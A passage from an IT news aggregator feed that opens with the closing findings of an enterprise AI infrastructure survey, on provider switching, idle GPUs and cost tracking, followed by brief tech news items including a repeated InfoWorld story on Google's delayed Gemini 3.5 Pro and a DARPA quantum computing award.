As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2>Finding 8: The next bottleneck few are watching</h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h2>The bottom line: A compute gap that faster spending will widen, not close</h2><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[Building multi-Region visualizations with Highcharts in Amazon Quick]]></title>
<description><![CDATA[This post shows you how to build multi-Region carrier performance dashboards in Quick Sight using Highcharts custom visualizations to overcome native chart limitations. You will learn how to maintain data sovereignty across AWS Regions while creating unified visualizations through the Quick Sight...]]></description>
<link>https://tsecurity.de/de/3689761/ai-nachrichten/building-multi-region-visualizations-with-highcharts-in-amazon-quick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689761/ai-nachrichten/building-multi-region-visualizations-with-highcharts-in-amazon-quick/</guid>
<pubDate>Thu, 23 Jul 2026 18:54:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This post shows you how to build multi-Region carrier performance dashboards in Quick Sight using Highcharts custom visualizations to overcome native chart limitations. You will learn how to maintain data sovereignty across AWS Regions while creating unified visualizations through the Quick Sight federated dataset capability. The solution includes production-ready chart configurations and addresses security, compliance, and scalability requirements.]]></content:encoded>
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<title><![CDATA[Building trade assistant: How Jefferies optimized front office trading operations with AI]]></title>
<description><![CDATA[In this post, we explore how Jefferies overcame these challenges with a solution built on Strands Agents, an agent harness SDK for building AI agents that can reason, plan, and act by orchestrating calls to foundation models (FMs) and external tools. The solution uses large language models (LLMs)...]]></description>
<link>https://tsecurity.de/de/3689760/ai-nachrichten/building-trade-assistant-how-jefferies-optimized-front-office-trading-operations-with-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689760/ai-nachrichten/building-trade-assistant-how-jefferies-optimized-front-office-trading-operations-with-ai/</guid>
<pubDate>Thu, 23 Jul 2026 18:54:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we explore how Jefferies overcame these challenges with a solution built on Strands Agents, an agent harness SDK for building AI agents that can reason, plan, and act by orchestrating calls to foundation models (FMs) and external tools. The solution uses large language models (LLMs), Amazon Bedrock, and Amazon Bedrock Knowledge Bases. It also uses Model Context Protocol (MCP), an open standard that helps AI agents securely connect to diverse data sources and tools through a unified interface. We cover the solution overview, the rationale for selecting the underlying technology stack, lessons learned, and the business impact the solution created at Jefferies.]]></content:encoded>
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<title><![CDATA[Opening: OpenVox/Puppets History (voxconf2026)]]></title>
<description><![CDATA[Puppet Inventor Luke Kanies recalls the reasoning behind Puppet (now OpenVox), its early history, and goals.

Prototype in Summer 2004 to proof intellectual property
Full time Puppet 2005
Sysadmins building tools for sysadmins, transform the role of a sysadmin
Fired from Puppet in 2016
about this...]]></description>
<link>https://tsecurity.de/de/3689758/it-security-video/opening-openvoxpuppets-history-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689758/it-security-video/opening-openvoxpuppets-history-voxconf2026/</guid>
<pubDate>Thu, 23 Jul 2026 18:54:20 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Puppet Inventor Luke Kanies recalls the reasoning behind Puppet (now OpenVox), its early history, and goals.

Prototype in Summer 2004 to proof intellectual property
Full time Puppet 2005
Sysadmins building tools for sysadmins, transform the role of a sysadmin
Fired from Puppet in 2016
about this event: https://c3voc.de]]></content:encoded>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3689702/ai-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689702/ai-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Thu, 23 Jul 2026 18:38:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3689687/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689687/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Thu, 23 Jul 2026 18:35:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200818/google-ceo-distracts-from-gemini-3-5-pro-delay-with-talk-of-gemini-4-and-monthly-releases.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3689683/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689683/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Thu, 23 Jul 2026 18:35:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200818/google-ceo-distracts-from-gemini-3-5-pro-delay-with-talk-of-gemini-4-and-monthly-releases.html">InfoWorld</a>.</em></p>
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<title><![CDATA[From Awareness to Action: Helping Organizations Prepare for Post-Quantum Cryptography]]></title>
<description><![CDATA[Post-Quantum Cryptography is moving from policy discussion to operational priority. Learn how organizations can begin building visibility, reducing risk, and preparing for crypto-agile migration.        This article has been indexed from Industry Trends & Insights Read the original article: From…...]]></description>
<link>https://tsecurity.de/de/3689511/it-security-nachrichten/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689511/it-security-nachrichten/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/</guid>
<pubDate>Thu, 23 Jul 2026 17:41:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Post-Quantum Cryptography is moving from policy discussion to operational priority. Learn how organizations can begin building visibility, reducing risk, and preparing for crypto-agile migration.        This article has been indexed from Industry Trends &amp; Insights Read the original article: From…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/">From Awareness to Action: Helping Organizations Prepare for Post-Quantum Cryptography</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[VCF Breakroom Chats | Episode 91 Spotting Infra Issues Instantly with VCF 9.1 ]]></title>
<description><![CDATA[Watch the latest episode of VCF Breakroom Chats. In Episode 91, Kyle Gleed and Sehjung Hah discuss how real-time metrics in VMware Cloud Foundation (VCF) 9.1 transforms VMware infrastructure into a true private cloud. Building on operational improvements and enhanced visibility into metrics and c...]]></description>
<link>https://tsecurity.de/de/3689467/downloads/vcf-breakroom-chats-episode-91-spotting-infra-issues-instantly-with-vcf-91/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689467/downloads/vcf-breakroom-chats-episode-91-spotting-infra-issues-instantly-with-vcf-91/</guid>
<pubDate>Thu, 23 Jul 2026 17:17:43 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="169" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?w=300" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png 1920w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=300,169 300w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=768,432 768w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=1024,577 1024w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=1536,865 1536w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=752,423 752w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=576,324 576w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=600,338 600w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>Watch the latest episode of VCF Breakroom Chats. In Episode 91, Kyle Gleed and Sehjung Hah discuss how real-time metrics in VMware Cloud Foundation (VCF) 9.1 transforms VMware infrastructure into a true private cloud. Building on operational improvements and enhanced visibility into metrics and costs, VCF 9.1 enables teams to do the following.   Learn more … <a href="https://blogs.vmware.com/cloud-foundation/2026/07/23/vcf-breakroom-chats-episode-91-spotting-infra-issues-instantly-with-vcf-9-1/">Continued</a></p>
<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/07/23/vcf-breakroom-chats-episode-91-spotting-infra-issues-instantly-with-vcf-9-1/">VCF Breakroom Chats | Episode 91 Spotting Infra Issues Instantly with VCF 9.1 </a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Federal quantum bet grows with DARPA’s $125 million PsiQuantum award]]></title>
<description><![CDATA[Defense research agency DARPA made its largest quantum computing award ever this week, with a $125 million agreement announced on Wednesday. The same day, the White House announced an additional $5 billion for the Genesis Mission, which focuses on AI for science but also includes technology to ac...]]></description>
<link>https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</guid>
<pubDate>Thu, 23 Jul 2026 17:13:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Defense research agency DARPA made its largest quantum computing award ever this week, with a <a href="https://www.psiquantum.com/news-import/psiquantum-signs-125-million-agreement-with-darpa">$125 million agreement</a> announced on Wednesday. The same day, the White House announced an <a href="https://www.whitehouse.gov/releases/2026/07/45502/">additional $5 billion for the Genesis Mission</a>, which focuses on AI for science but also includes technology to accelerate quantum computing and quantum sensors.</p>



